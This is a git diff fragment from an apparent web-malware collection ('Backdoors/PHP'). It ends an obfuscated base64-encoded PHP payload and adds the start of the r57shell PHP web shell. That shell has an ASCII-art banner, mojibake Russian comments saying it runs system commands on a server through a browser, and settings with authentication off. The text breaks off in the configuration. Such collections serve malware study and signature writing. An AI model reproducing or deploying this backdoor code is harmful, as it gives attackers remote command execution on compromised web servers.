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')))); \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/r57_Mohajer22.txt b/web-malware-collection-master/Backdoors/PHP/r57_Mohajer22.txt new file mode 100755 index 0000000..0fc3204 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/r57_Mohajer22.txt @@ -0,0 +1,2369 @@ +<?php + + +/******************************************************************************************************/ +/* +/* # # # # +/* # # # # +/* # # # # +/* # ## #### ## # +/* ## ## ###### ## ## +/* ## ## ###### ## ## +/* ## ## #### ## ## +/* ### ############ ### +/* ######################## +/* ############## +/* ######## ########## ####### +/* ### ## ########## ## ### +/* ### ## ########## ## ### +/* ### # ########## # ### +/* ### ## ######## ## ### +/* ## # ###### # ## +/* ## # #### # ## +/* ## ## +/* +/* +/* +/* r57shell.php - ñêðèïò íà ïõï ïîçâîëÿþùèé âàì âûïîëíÿòü ñèñòåìíûå êîìàíäû íà ñåðâåðå ÷åðåç áðàóçåð +/* Âû ìîæåòå ñêà÷àòü íîâóþ âåðñèþ íà íàøåì ñàéòå: http://rst.void.ru +/* Âåðñèÿ: 1.3 (05.03.2006) +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* Îòäåëüíàÿ áëàãîäàðíîñòü çà ïîìîùü è èäåè: blf, phoenix, virus, NorD è âñåì ÷åðòÿì èç RST/GHC. +/* Åñëè ó Âàñ åñòü êàêèå-ëèáî èäåè ïî ïîâîäó òîãî êàêèå ôóíêöèè ñëåäóåò äîáàâèòü â ñêðèïò òî ïèøèòå +/* íà rst@void.ru. Âñå ïðåäëîæåíèÿ áóäóò ðàññìîòðåíû. +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* (c)oded by 1dt.w0lf +/* RST/GHC http://rst.void.ru , http://ghc.ru +/* ANY MODIFIED REPUBLISHING IS RESTRICTED +/******************************************************************************************************/ +/* ~~~ Íàñòðîéêè | Options ~~~ */ + +// Âûáîð ÿçûêà | Language +// $language='ru' - ðóññêèé (russian) +// $language='eng' - english (àíãëèéñêèé) +$language='eng'; + +// Àóòåíòèôèêàöèÿ | Authentification +// $auth = 1; - Àóòåíòèôèêàöèÿ âêëþ÷åíà ( authentification = On ) +// $auth = 0; - Àóòåíòèôèêàöèÿ âûêëþ÷åíà ( authentification = Off ) +$auth = 0; + +// Ëîãèí è ïàðîëü äëÿ äîñòóïà ê ñêðèïòó (Login & Password for access) +// ÍÅ ÇÀÁÓÄÜÒÅ 